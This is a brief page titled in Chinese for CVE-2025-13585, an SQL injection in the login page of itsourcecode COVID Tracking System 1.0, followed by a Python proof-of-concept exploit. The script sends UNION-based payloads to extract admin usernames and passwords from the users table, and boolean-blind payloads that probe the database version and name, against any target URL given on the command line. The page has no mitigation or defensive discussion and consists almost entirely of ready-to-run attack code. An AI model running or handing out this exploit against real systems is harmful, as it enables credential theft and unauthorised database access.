CVE-2025-13585 itsourcecode COVID Tracking System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13585 SQL Injection PoC # Target: itsourcecode COVID Tracking System 1.0 # Vulnerable Parameter: code in /login.php def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in login.php """ injection_url = f"{target_url}/login.php" # Payload for boolean-based blind SQL injection data = { 'code': payload, 'username': 'admin', 'password': 'anything' } try: response = requests.post(injection_url, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_admin_credentials(target_url): """ Extract admin credentials using UNION-based SQL injection """ # UNION SELECT payload to extract admin credentials payload = "admin' UNION SELECT 1,2,username,password,5,6,7,8,9,10,11,12 FROM users WHERE '1'='1" print(f"[*] Sending payload: {payload}") result = exploit_sqli(target_url, payload) if result and 'admin' in result.lower(): print("[+] Admin credentials extracted successfully!") return True return False def blind_sqli_extraction(target_url): """ Boolean-based blind SQL injection for data extraction """ print("[*] Starting blind SQL injection attack...") # Extract database version version_payload = "admin' AND (SELECT SUBSTRING(@@version,1,1))='5'--" result = exploit_sqli(target_url, version_payload) if result: print("[+] Database version information retrieved") # Extract current database name db_payload = "admin' AND (SELECT LENGTH(DATABASE()))>0--" result = exploit_sqli(target_url, db_payload) if result: print("[+] Database name extracted") if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/covid_tracking") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-13585 SQL Injection") # Method 1: UNION-based injection extract_admin_credentials(target) # Method 2: Blind SQL injection blind_sqli_extraction(target)